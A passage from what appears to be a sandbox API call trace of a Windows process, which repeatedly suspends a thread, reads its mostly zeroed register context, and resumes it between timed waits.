Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0271.793] ResumeThread (hThread=0xf4) returned 0x1 [0271.793] CloseHandle (hObject=0xf4) returned 1 [0272.330] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0273.185] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0273.424] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0273.597] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0274.095] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0274.095] SuspendThread (hThread=0xf4) returned 0x0 [0274.095] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000315b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe4cce0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0275.245] ResumeThread (hThread=0xf4) returned 0x1 [0275.245] CloseHandle (hObject=0xf4) returned 1 [0275.245] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0278.475] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0278.666] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0278.799] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0279.221] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0279.513] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0279.521] SuspendThread (hThread=0xf4) returned 0x0 [0279.522] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031450, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe652e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0279.866] ResumeThread (hThread=0xf4) returned 0x1 [0279.866] CloseHandle (hObject=0xf4) returned 1 [0280.055] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0280.775] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0280.775] SuspendThread (hThread=0xf4) returned 0x0 [0280.775] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031440, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe6402f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0280.913] ResumeThread (hThread=0xf4) returned 0x1 [0280.913] CloseHandle (hObject=0xf4) returned 1 [0280.914] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0282.520] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0282.520] SuspendThread (hThread=0xf4) returned 0x0 [0282.520] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffd88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea3059, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0282.667] ResumeThread (hThread=0xf4) returned 0x1 [0282.667] CloseHandle (hObject=0xf4) returned 1 [0282.791] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0283.125] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0283.125] SuspendThread (hThread=0xf4) returned 0x0 [0283.125] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffd40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe8fe00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, 